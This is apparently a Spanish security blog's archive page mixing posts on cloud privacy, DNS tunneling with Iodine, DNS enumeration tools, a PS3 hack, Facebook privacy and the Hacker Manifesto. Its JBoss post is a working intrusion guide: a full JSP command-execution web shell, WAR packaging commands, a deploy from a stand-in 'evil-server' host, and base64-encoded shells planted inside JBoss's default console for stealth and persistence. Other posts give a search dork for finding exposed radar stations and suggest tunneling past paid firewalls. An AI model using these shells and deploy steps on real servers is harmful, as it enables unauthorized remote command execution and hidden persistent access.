Archivo

Seguridad informática

Leyendo un articulo en DragonJar, acerca de como montar una estación de radares casera (muy interesante, por cierto). Se me ha ocurrido, tras echar un vistazo al path que expone la aplicación (VirtualRadar/GoogleMap.htm), hacer uso de “técnicas” de GHDB para buscar “inurl:VirtualRadar/GoogleMap.htm” y bingo, unos cuantos radares caseros con los que “mapear” y echar un vistazo a los aviones. Curioso cuanto menos.

Mas información

La Comunidad DragonJar | Articulo Original

La palabra de moda en estos ultimos 2 años en el mundo IT, y que seguirá sonando durante los proximos 4 o 5 años, es Cloud Computing.

¿Que es el Cloud Computing? Para entender el cloud computing, tenemos que mirar unos años atras, y recordar los viejos ordenadores (mas bien terminales “tontos”) que se utilizaban en las universidades en su momento (principios de los 90, mediados de los 80), en donde llevabas una tarjeta (precursoras de las memorias flash actuales), en la cual guardabas tu directorio de usuario, tu .profile, .bash_history y poca cosa mas, ya que tampoco daba mucho en aquella epoca. Esta, la introducias en cualquier ordenador de la univesidad, y siempre era el mismo terminal, independientemente de donde estuvieras ubicado en ese momento. ¿Sorprendente? Nada mas lejos de la realidad.

El Cloud Computing, basandose en esa idea de no tener nada centralizado en local, ofrece servicios de computación a través de Internet (o nube). En base a esto, se comenzaron a crear servicios como Flickr para guardar tus fotografias, empresas como Google apuestan de lleno ofreciendo multiples servicios como Google Docs, paginas como Facebook centralizan todas tus fotos y amigos, servicios como DropBox para almacenar datos online, etc. Todos estos servicios, alojas, y lo mas importante, aceptas que toda esa información sea alojada en servidores remotos, y ajenos a la persona. Fotografias, documentos, información confidencial o privada, etc. en manos de corporaciones.

Actualmente, se comienza a hablar de sistemas operativos en la nube, a la cabeza, con Google como adalid de este proyecto con su ChromeOS (y apoyado por empresas como Acer, Adobe, ASUS, Freescale, Hewlett-Packard, Lenovo, Qualcomm, Texas Instruments, Canonical, Dell y Toshiba). Con este servicio, tienes un ordenador de una potencia no muy elevada, con un coste de fabricación, tampoco muy elevado, con un pequeño sistema operativo (basado en Linux) instalado, con un entorno gráfico propio de Google. En este sistema, no instalas ninguna aplicación, y usando y beneficiándote de la potencia y versatilidad de los demás servicios de Google, tampoco necesitarás guardar nada o casi nada en ese equipo, ya que todo estará en esa maravillosa nube. La verdad, es que suena bien, ¿cierto?, poder tener tu ordenador, sin necesidad de transportarlo, con tan solo recordar tu usuario y contraseña, en cualquier otro terminal, tendrás acceso a tu información.

¿Que problemática veo a todo esto? Aparte, de los problemas técnicos elementales, como por ejemplo, si la compañía sufre un ataque de denegación de servicio distribuida, o una intrusión a sus sistemas, ya se pueden echarse a temblar.

Aparte de los problemas económicos, también bastante obvios, como posibles alianzas entre empresas que podrían crear un ambiente propicio para el monopolio, o que pequeñas empresas, con buenas ideas, ofrezcan un servicio, pero luego se declaren insolventes (pasa con cientos de startups a diario, o son compradas por un gigante o desaparecen), todos mis datos se hundirían con la empresa, existe otro problema, que ya comentó en el 2008 Richard Stallman, y posiblemente, sea el mas importante, la privacidad. El Cloud Computing, no permite a un usuario, como ya he comentado anteriormente, tener sus datos, por ejemplo, en un disco duro o una memoria flash, si no que deja la responsabilidad del almacenamiento de datos y su control en manos del proveedor.

Los datos en manos de grandes empresas, de Google, Microsoft, Yahoo!, y diferentes empresas que aparezcan en el momento del “boom” final. Empresas, que pueden comerciar con tus datos, venderlos a terceros, porque ¿quien revisa las EULA? Muy poca gente.

Muchas de las ideas del Cloud Computing, chocan de lleno, por ejemplo, contra la LOPD española. Cloud Computing, la moda informatica del siglo XXI, como en el XX fue la Web, el E-Mail y las news. Peligrosa, pero atractiva. Veremos como avanza en estos 2 o 3 años.

1.     Introducción

Este documento trata sobre la explotación de las posibles vulnerabilidades que pueden aparecer tras realizar una instalación por defecto de Jboss. Los métodos de ataque, siempre serán usando JMX-Console. Podéis descargar el mismo en formato PDF desde aquí.

2.     ¿Qué es Jboss?

JBoss es un servidor de aplicaciones J2EE de código abierto implementado en Java puro. Al estar basado en Java,  JBoss puede ser utilizado en cualquier sistema operativo que lo soporte.

3.     Instalación por defecto

La instalación por defecto de JBoss, escucha en el puerto 8080, y probé de un panel de administración Web muy útil para un atacante, con muchísimas posibilidad para comprometerlo.

4.     JMX Console

La consola JMX es la consola de administración de JBoss que proporciona una vista real de los MBeans JMX que componen el servidor. Pueden proporcionar bastante información sobre el servidor en ejecución y le permite modificar su configuración, iniciar y parar componentes, etc. Por defecto se accede a la consola sin autenticación.

5.     DeploymentScanner

Para hacer un deploy (cargar) una aplicación personalizada al servidor Jboss comprometido, se utiliza el DeploymentScanner añadiendo una URL o un Path (ruta) con la aplicación WAR a cargar.

DeploymentScanner, chequea regularmente las URL’s introducidas. Por defecto, chequea la URL file:/[JBOSSHOME]/server/default/deploy/, pero con el comando addURL(), es posible una nueva URL para la carga (p.ej: www.evil-server.com/aplicacion.war). Jboss intentara descargar la aplicación desde la URL indicada. Una vez descargada, Jboss cargara la aplicación en el aplicativo propio, normalmente pasado un minuto.

En algunos casos, este método no funciona debido a los posibles filtrados de I/O, como por ejemplo, un firewall.

5.1 Realizando un Deploy

Es necesario una estructura específica de la aplicación, creando un WAR con el directorio WEB-INF.

A continuación un ejemplo de una aplicación de consola remota totalmente funcional[1]:

$ echo 'A continuación el JSP'
$ cat > cmd.jsp
< %@ page import="java.util.*,java.io.*"%>
< %
%>

Commands with JSP
< ---Sustituir por pre---> < % if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "
"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>
< ---Sustituir por /pre---> $ echo 'El fichero web.xml en el directorio WEB-INF con la configuración de la aplicación' $ mkdir WEB-INF $ cat > WEB-INF/web.xml < ?xml version="1.0" ?> Command /cmd.jsp $ echo 'Ahora lo empaquetamos en WAR' $ jar cvf cmd.war WEB-INF cmd.jsp $ echo 'Copialo en el webserver en donde quieres que Jboss lo descargue' $ cp cmd.war /var/www/localhost/htdocs/

5.2 Haciendo el deploy

Accedemos  a la sección “jboss.deployment” y entramos en el apartado llamado “flavor=URL,type=DeploymentScanner”.

Una vez dentro, buscamos la sección voidURL().

En ParamValue introducimos la URL maliciosa (http://evil-server/cmd.war) en donde tenemos la aplicación WAR generada y realizaremos la invocación.

Jboss, hace re-comprobación de aplicaciones cada minuto, con lo que una vez pasado un minuto (aproximadamente), Jboss cargará la aplicación y accederemos a nuestra aplicación (en este caso http://hacked-server/cmd/cmd.jsp).

6.     Posibles problemas

a)     Bloqueo de I/O por un Firewall

Podemos encontrarnos con que existe un Firewall que no permite a Jboss la salida hacia internet, pero si la entrada, con lo que en este caso, no se puede subir un WAR del modo anterior, con lo que utilizando el método addURL(), no sería posible realizar un deploy. Para ello encontramos el llamado BSH Deployer.

BSH Deployer, nos permite, a través de un lenguaje propio de scripting (similar a JAVA), realizar la carga de un script para poder subir un fichero y ubicarlo en el directorio que deseemos. Para ello, buscaremos la sección BSHDeployer en el panel principal de la consola JMX.

En el apartado java.net.URL.createScriptDeployment() encontraremos dos parámetros para introducir, en el primer parámetro se debe de introducir la cadena del script creado y en el segundo parámetro debemos introducir el nombre del directorio y del fichero que queremos crear una vez que el script haga la decodificación del WAR en base64.

Una vez subido el fichero deseado, en nuestro caso, un WAR con una Shell en JSP, a través de DeploymentScanner, usaremos la opción addURL(), en este caso como string


Una vez hecho esto, tendremos acceso al servidor con la aplicación cargada en el mismo. Accederemos a la aplicación como se ha comentado en el apartado del DeploymentScanner.

A continuación, el WAR anteriormente generado, codificado en base64 y con el script preparado para realizar la subida del fichero:

import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val="UEsDBBQACAAIAOp+ljwAAAAAAAAAAAAAAAAJAAQATUVUQS1JTkYv/soAAAMAUEsHCAAAAAACAAAAAAAAAFBLAwQUAAgACADqfpY8AAAAAAAAAAAAAAAAFAAAAE1FVEEtSU5GL01BTklGRVNULk1G803My0xLLS7RDUstKs7Mz7NSMNQz4OVyLkpNLElN0XWqBAmY6RnEGxopaASX5in4ZiYX5RdXFpek5hYreOYl62nycvFyAQBQSwcI7sxS0EcAAABHAAAAUEsDBAoAAAAAAI1+ljwAAAAAAAAAAAAAAAAIAAAAV0VCLUlORi9QSwMEFAAIAAgAjX6WPAAAAAAAAAAAAAAAAA8AAABXRUItSU5GL3dlYi54bWyFj81ugzAQhO9+CuS7vYTmhAh5gfTS5NBb5JptMfIPYh3M49egiKqn3Fb7zezONOfF2WLGiUzwJ36QJS/OLWsSfgk1jkWmnk68j3GsAQY1K0kPL3VwkBF4gqFC5GzT1QuZXZtSkulNhukHqrI8wOf75ap7dEoYT1F5vbrI1LQtL0GruEV48Yq94PBMfq/uR7lQx9lerpJHnqsRTrPF+DcJrxy2H9jdULni2qO1DfxjrBloFN/GYguDW4QOnoJFmLCL2SNo9cisaWAXsv3GOj5TtYz9AlBLBwjc7uTl1AAAAHIBAABQSwMEFAAIAAgAPIaVPAAAAAAAAAAAAAAAABEAAAByZWR0ZWFtLXNoZWxsLmpzcH3QXUrEMBAH8PecYiwU0kVygd2KD/uyILjoCUI71pF8bTpxBfHuTtaKRVDykDD/3wxkdu0tJDshkE8xc9+82FdrCpMzm+vLm6LZNO2N2rWKnkBnPBWc2UzIR5utR8asm8GPTQdXPYTiXAfv6pEzhQmkDj3807NVxxwHnGdIAh9KYPJY4fLUncE3HLRgsfeFU2GZjdZDnKUjVbsua2GH8KMofKtVtaK9ZbuGI9V5Ac/wK9EUhC8fEpWFyWUkG+8oYB12fiaHoL/iZQ1Q9xALmySd7IKuodg/RnzIkTWrT1BLBwimyLlg3gAAAJIBAABQSwECFAAUAAgACADqfpY8AAAAAAIAAAAAAAAACQAEAAAAAAAAAAAAAAAAAAAATUVUQS1JTkYv/soAAFBLAQIUABQACAAIAOp+ljzuzFLQRwAAAEcAAAAUAAAAAAAAAAAAAAAAAD0AAABNRVRBLUlORi9NQU5JRkVTVC5NRlBLAQIKAAoAAAAAAI1+ljwAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAMYAAABXRUItSU5GL1BLAQIUABQACAAIAI1+ljzc7uTl1AAAAHIBAAAPAAAAAAAAAAAAAAAAAOwAAABXRUItSU5GL3dlYi54bWxQSwECFAAUAAgACAA8hpU8psi5YN4AAACSAQAAEQAAAAAAAAAAAAAAAAD9AQAAcmVkdGVhbS1zaGVsbC5qc3BQSwUGAAAAAAUABQAvAQAAGgMAAAAA"; BASE64Decoder decoder=new BASE64Decoder(); byte[ ] byteval=decoder.decodeBuffer(val); FileOutputStream fstream=new FileOutputStream("/tmp/cmd.war"); fstream.write(byteval); fstream.close();

b)     Limitaciones en los redirectores Apache + Jboss

En determinadas ocasiones, podemos encontrar la limitación de que se ha configurado el servidor para servir paginas HTML estáticas y a su vez aplicaciones JSP. Esto hará que cualquier petición fuera de la “acl” creada en JBOSS para la carga de aplicaciones JSP, se redirigirá a Apache y nos dará un error 404 (Not Found), ya que es Apache quien interpreta esa petición y no encuentra la aplicación que hemos cargado, aunque realmente, si lo está.

Para evadir o by-passear este método de, en cierto modo, protección, podemos cargar directamente un JSP, sin realizar un empaquetado en WAR, con el método utilizado en BSH Deployer. Cargaremos la shell JSP en el interior de un WAR que existe por defecto en la instalación de JBOSS (web-console.war) y podremos realizar la llamada a la shell directamente como http://hacked-server/jmx-console/cmd.jsp. Esto nos servirá para dos cosas:

1) Si existe un reinicio del servidor JBOSS, la aplicación WAR que hemos cargado no se cargara automáticamente, con lo que perderemos el acceso. Con este método, esto no ocurre, ya que el jsp se carga con los módulos por defecto de JBOSS, con lo que siempre, será cargado, a no ser, claro, que estos módulos, sean deshabilitados.

2) Es más discreto, ya que no aparece cargada en el listado de aplicaciones cargadas y esta oculta dentro de un WAR estándar.

Para realizar esto, codificaremos el JSP en base64, en vez de el fichero WAR y usaremos la misma mecánica anteriormente citada, con la diferencia, de que en el script BSH, al hacer la recodificación a fichero, usaremos directamente la ruta del directorio a atacar (en este caso /usr/jboss-4.2.0.GA/server/default/deploy/management/console-mgr.sar/web-console.war/cmd.jsp).

A continuación el script utilizado para realizar la carga con el JSP codificado en base64:

import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val="PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiJT4KPCUKaWYgKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSAhPSBudWxsKSB7ClN0cmluZyBjbWQgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIik7ClByb2Nlc3MgcCA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoY21kKTsKT3V0cHV0U3RyZWFtIG9zID0gcC5nZXRPdXRwdXRTdHJlYW0oKTsKSW5wdXRTdHJlYW0gaW4gPSBwLmdldElucHV0U3RyZWFtKCk7CkRhdGFJbnB1dFN0cmVhbSBkaXMgPSBuZXcgRGF0YUlucHV0U3RyZWFtKGluKTsKU3RyaW5nIGRpc3IgPSBkaXMucmVhZExpbmUoKTsKd2hpbGUgKCBkaXNyICE9IG51bGwgKSB7Cm91dC5wcmludGxuKGRpc3IpOwpkaXNyID0gZGlzLnJlYWRMaW5lKCk7Cn0KfQolPgoK"; BASE64Decoder decoder=new BASE64Decoder(); byte[ ] byteval=decoder.decodeBuffer(val); FileOutputStream fstream=new FileOutputStream("/usr/jboss-4.2.0.GA/server/default/deploy/management/console-mgr.sar/web-console.war/cmd.jsp"); fstream.write(byteval); fstream.close();

7. Notas finales

Este documento, se trata de un borrador inicial, realizado como un “how-to” de distribución interna, pero he decidido publicarlo, es posible que debido a ello existan erratas en el documento.

Quiero agradecer a Jörg Scheinert el permiso que me ha dado para publicar la shell que el utilizo en su día para ilustrar su documento.

También agradezco desde aquí a mis antiguos compañeros (Paco, J.I y David), por haber dedicado horas a investigar junto a mi, gracias a las cuales, logramos encontrar una nueva forma de bypassear la seguridad de Jboss.


[1] Shell obtenida del documento Hacking Jboss de Jörg Scheinert
<pre lang="java" line="1">

Licencia de Creative Commons
Esta obra está bajo una licencia de Creative Commons.

Corría el año 2007 cuando Sony lanzo la consola Playstation 3 al mercado europeo, tras casi un año en el americano y japones, y todo el mundo se frotaba las manos: potencia de calculo increíble, una carta de juegos aun mejor y ¿la posibilidad de jugar copias de seguridad tan fácil como en la Playstation 2? Error, no iba a ser tan fácil, Sony había invertido millones en blindar la seguridad de su consola, aun a sabiendas de que el éxito de la PS2 fue principalmente a la facilidad de pirateo de la misma, no estaba dispuesta a dar su brazo a torcer. Tras 3 años, múltiples intentos fallidos o que eran solo humo, se ha dado un gran paso.

Geohot, el chaval de 20 y pocos años, que logro romper la seguridad del Iphone cuando grupos de crackers trabajaban a destajo en ello, ha logrado un avance increíble, teniendo acceso completo a la lectura/escritura de la memoria y acceso al procesador a nivel de HyperVisor. Ahora solo le queda una ardua tarea en revesar código.

Estaremos atentos a los avances, poder jugar a nuestras “copias de seguridad” de la PS3 será el comienzo de un aumento increíble (aun después del lanzamiento de la PS3 Slim y su rebaja) de las ventas.

Mas información

Gehot Blog | Web Oficial

Anteriormente ya había probado aplicaciones bastante conocidas como DNScat para poder tunelizar el trafico HTTP a través de DNS, es decir, tunelizar DNS. Este tipo de aplicaciones o túneles son muy útiles si queremos ocultar el trafico (si somos muy paranoicos y estamos en lugares monitorizados), o para saltarnos las restricciones de un firewall como en los aeropuertos, hoteles y demás, que piden dinero por conexión (cosa que me parece ridícula). En este caso se trata de una “nueva” aplicaciones (version 0.5.2) llamada Iodine. ¿Diferencias? Que es portable, no requiere módulos adiciones para el sistema, y es multiplataforma (linux, mac os x, freebsd, netbsd, openbsd, windows e incluso, la plataforma móvil Android, que, aunque no venga al caso, es la que utilizo actualmente).

Otra gran ventaja, es la posibilidad de configurar autenticacion, con lo que nadie podrá usar nuestro túnel si no conoce la contraseña, algo tan obvio, pero que no lo encontramos en todas las aplicaciones existentes.

La aplicación esta compuesta por un cliente y un servidor, como es habitual. El cliente lo instalaremos en nuestro portátil o teléfono móvil (con android) y el servidor, lo configuraremos en nuestro “mainframe” que deberá tener conexión 24 horas a Internet (adsl) y estar, por supuesto, online. La configuración no es muy compleja, con leer el man (http://code.kryo.se/iodine/iodine_manpage.html) saldremos de dudas para cualquier problema que nos surja.

Con lo que ya sabéis, ya no tenéis excusa para chequear vuestro correo, meneame o vuestras paginas favoritas desde el hotel en el que estáis pasando vuestras vacaciones, desde la estación de tren mientras esperáis el transporte, o desde el aeropuerto ansiosos por vuestro viaje.

Referencia

Security By Default | Articulo

Mas información

IODINE | Web Original

Se, que aun dedicándome a la seguridad informática, no suelo publicar muchos artículos dedicados a mi profesión, quizá, supongo, que es porque este espacio, es dedicado para mi disfrute, y aunque la seguridad, sea mi pasión desde hace mucho tiempo, prefiero olvidar el trabajo y publicar otras cosas varias.

Pero a veces, hay que romper esas reglas, con cosas realmente interesantes, y esta vez, no hay lugar a dudas. En este post, hablaré de Xplico, herramienta de análisis forense de red (NFAT, Network Forensic Analysis Tool), extrae, desde por ejemplo, un pcap, toda el trafico de red, como email (POP, IMAP, SMTP…), todo el trafico HTTP, trafico SIP, FTP, TFTP y muchos mas (como google earth). No es un analizador de red, para eso ya tenemos wireshark. Es una herramienta que hará las delicias de mis colegas de profesión, olvida mirar cientos de lineas de un pcap con SYN, SYN/ACK, con POST, GET y demás, ahora, todo te lo interpretara y lo podrás ver cómodamente.

Mas información

Xplico | Web Oficial

Una de las tareas mas tediosas para todos los informáticos, es mantener siempre actualizados nuestros programas. Algunos, prefieren esperar un tiempo, otros tienen “versionitis” y actualizan nada mas salir el programa, y otros, esperan hasta que sale una versión superior a la que van a actualizar, pero gestionar todo esto, sobre todo si tenemos una lista mas o menos aceptable de programas instaladas en nuestros sistemas, es casi tarea imposible, y aunque muchos programas hoy en día tenga “check updates” con la web del autor/es, ¿no es mas cómodo tener un programa que chequeé todos tus programas y te diga si existen nuevas versiones?.

Desde hace algun tiempo, vengo utilizando Update Checker, un programa creado por filehippo.com, una pagina que es mirror de muchos de los programas mas conocidos (y otros no tantos), repasa la lista de programas, conecta con filehippo.com y te muestra que versión tienes y cual es la versión que tienes que actualizar.

Hoy, he descubierto otro programa del mismo estilo pero con unas mejoras que se echaban en falta en Update Checker. Este programa se llama Update Notifier, la filosofía es similar al anterior, pero deja definir algunos parámetros, como la periodicidad en el chequeo automático de los programas, con lo que, lo hará de modo automático.

Aun así, seguiré utilizando ambos programas, nunca esta de mas tener donde comparar, a alguno se le puede pasar algo que al otro no. De todos modos… donde este “aptitude update – aptitude safe-upgrade” que me quiten lo “bailaó”.

Mas información

Update Checker | Web oficial

Update Notifier | Web oficial

Uno de los principales problemas de facebook (mas que de facebook de la gente que hace uso de el) es la privacidad, la gente, no suele “tocar” las configuraciones de privacidad, muestran a todos, todo de todo, y no es de agrado, que por ejemplo, tu jefe, que le tienes en tu lista de amigos, acceda a tu ultima fiesta en la que sales con un, pongamos, pedo/morado/borrachera del 15 vomitando sobre el sofá de tu mejor amigo, y desnudo. Con lo que hay una serie de “tips” o consejos que seria bueno que la gente que use facebook se lean, o la gente que se vaya a aventurar a facebook, se lea también para realizar sus primeras configuraciones.

Be paranoid, como decíamos hace unos años en mi “mundillo”, y sin duda, es un consejo que hay que tener mas que en cuenta en este mundo, en que cualquier “traspiés” o información, puede hacerte caer o subir. La información es poder, y el que la tiene, maneja todo a su antojo.

Mas información

10 Privacy Settings Every Facebook User Should Know | Articulo Original

En su día, ya hable de un par de utilidades para trabajar con DNS’s, hacer consultas y demás. Hoy, doy un paso mas, y os muestro un par de utilidades, que nos serán interesantes (como alternativas a otros programas de pago como Bidiblah de Sensepost, una herramienta, que no se merece ser de pago, ya que existen alternativas, como digo, gratuitas, y que dan los mismos resultados, incluso mejores) para recabar información acerca de un dominio, ver sus subdominios y que subredes tienen contratadas, útiles para realizar investigaciones de otras empresas (e incluso de personas).

Estas dos utilidades de DNS crawling o de domain crawling son DNSenum (en su versión 1.2, es el mejor de estos dos), permite abrir varios hilos, realizar consultas A, NS y MX, permite hacer scraping con google, y fuerza bruta, se retroalimenta de los dominios encontrados (por si encuentra otro perteneciente a la misma empresa, realizar mas brute forcing), hacer whois y luego hacer un lookup invertido, es rápida, ligera e increíblemente versátil. Necesitáis un fichero generado para fuerza bruta, el que viene en bidiblah esta bien, pero también os recomiendo buscar alguna lista de passwords típicas (en packetstorm por ejemplo), que sean mas neutrales, muchas veces, los prefijos, no es raro encontrar cosas como info, unix, shell, lib, test, testuser, systest, log, host, etc, así que, que no os extrañe que os recomiende incluir alguna lista de ese tipo. La recomiendo. Aquí la salida del fichero de ayuda (la he capado un poco por problemas a la hora de publicar el post, ya que identifica las opciones como etiquetas del sistema de CMS que utilizo):

dnsenum.pl VERSION:1.2
Usage: dnsenum.pl [Options]
[Options]:
Note: the brute force -f switch must be specified to be able to continue
the process execution.
GENERAL OPTIONS:
–dnsserver
Use this DNS server for A, NS and MX queries.
–enum Shortcut option equivalent to –threads 5 -s 20 -w.
-h, –help Print this help message.
–noreverse Skip the reverse lookup operations.
–private Show and save private ips at the end of the file
domain_ips.txt.
–subfile Write all valid subdomains to this file.
-t, –timeout The tcp and udp timeout values in seconds
(default: 10s).
–threads The number of threads that will perform different
queries.
-v, –verbose Be verbose: show all the progress and all the error
messages.
GOOGLE SCRAPING OPTIONS:
-p, –pages The number of google search pages to process when
scraping names, the default is 20 pages,
the -s switch must be specified.
-s, –scrap The maximum number of subdomains that will be scraped
from google.
BRUTE FORCE OPTIONS:
-f, –file Read subdomains from this file to perform brute force.
-u, –update [ a |g|r|z ]
Update the file specified with the -f switch with
vaild subdomains.
a (all) Update using all results.
g Update using only google scraping results.
r Update using only reverse lookup results.
z Update using only zonetransfer results.
-r, –recursion Recursion on subdomains, brute force all discovred
subdomains that have an NS record.
WHOIS NETRANGE OPTIONS:
-d, –delay The maximum value of seconds to wait between whois
queries, the value is defined randomly, default: 3s.
-w, –whois Perform the whois queries on c class network ranges.
**Warning**: this can generate very large netranges
and it will take lot of time to performe reverse
lookups.
REVERSE LOOKUP OPTIONS:
-e, –exclude
Exclude PTR records that match the regexp expression
from reverse lookup results, useful on invalid
hostnames.

La segunda utilidad es dnsmap, esta utilidad, también es rápida, pero es mas limitada, sirve para hacer un mini-bruteforce y sacar algunos dominios con los prefijos mas usuales (ftp, www3, www, mail, etc). Si queréis potencia, sin duda la primera, si queréis simplificar, la segunda.

Por cierto, la web de DNSMap, a veces os la podéis encontrar caída, utiliza dyndns, con lo que redirecciona al servidor del autor, y puede que a veces lo tenga apagado :-)

Mas información

DNSMap | Web Oficial
DNSEnum | Web Oficial

Corria el año 95 cuando lo lei, en el primer numero de la conocida revista phrack, años increibles que vivimos, ¿que ha cambiado? ¿Donde esta el antiguo romanticismo? La belleza del baudio…

Hoy han cogido a otro, aparece en todos los periódicos. “Joven arrestado por delito informático”, “hacker arrestado por irrumpir en un sistema bancario”. “Malditos críos. Son todos iguales”. ¿Pero pueden, con su psicología barata y su cerebro de los años cincuenta, siquiera echar un vistazo a lo que hay detrás de los ojos de un hacker? ¿Se han parado alguna vez a pensar qué es lo que les hace comportarse así, qué les ha convertido en lo que son? Yo soy un hacker, entre en mi mundo.

Mi mundo comienza en el colegio. Soy más listo que el resto de mis compañeros, lo que enseñan me parece muy aburrido. “Malditos profesores. Son todos iguales”. Puedo estar en el colegio o un instituto. Les he oído explicar cientos de veces cómo se reducen las fracciones. Todo eso ya lo entiendo. “No, Sr. Smith, no he escrito mi trabajo. Lo tengo guardado en la cabeza”. “Malditos críos. Seguro que lo ha copiado. Son todos iguales”.

Hoy he descubierto algo. Un ordenador. Un momento, esto mola. Hace lo que quiero que haga. Si comete errores, es porque yo le he dicho que lo haga. No porque yo no le guste, me tenga miedo, piense que soy un listillo o no le guste ni enseñar ni estar aquí. Malditos críos. A todo lo que se dedican es a jugar. Son todos iguales. Entonces ocurre algo… se abre una puerta a un nuevo mundo… todo a través de la línea telefónica, como la heroína a través de las venas, se emana un pulso electrónico, buscaba un refugio ante las incompetencias de todos los días… y me encuentro con un teclado. “Es esto… aquí pertenezco… “.

Conozco a todo mundo… aunque nunca me haya cruzado con ellos, les dirigiese la palabra o escuchase su voz… los conozco a todos… malditos críos. Ya está enganchado otra vez al teléfono. Son todos iguales… puedes apostar lo quieras a que son todos iguales… les das la mano y se toman el brazo… y se quejan de que se lo damos todo tan masticado que cuando lo reciben ya ni siquiera tiene sabor. O nos gobiernan los sádicos o nos ignoran los apáticos. Aquellos que tienen algo que enseñar buscan desesperadamente alumnos que quieran aprender, pero es como encontrar una aguja en un pajar.

Este mundo es nuestro… el mundo de los electrones y los interruptores, la belleza del baudio. Utilizamos un servicio ya existente, sin pagar por eso que podrían haber sido más barato si no fuese por esos especuladores. Y nos llamáis delincuentes.

Exploramos… y nos llamáis delincuentes.
Buscamos ampliar nuestros conocimientos… y nos llamáis delincuentes.
No diferenciamos el color de la piel, ni la nacionalidad, ni la religión… y vosotros nos llamáis delincuentes.

Construís bombas atómicas, hacéis la guerra, asesináis, estafáis al país y nos mentís tratando de hacernos creer que sois buenos, y aún nos tratáis de delincuentes.

Sí, soy un delincuente. Mi delito es la curiosidad. Mi delito es juzgar a la gente por lo que dice y por lo que piensa, no por lo que parece. Mi delito es ser más inteligente que vosotros, algo que nunca me perdonaréis.

Soy un hacker, y éste es mi manifiesto. Podéis eliminar a algunos de nosotros, pero no a todos…  después de todo, somos todos iguales.

The Mentor (1995)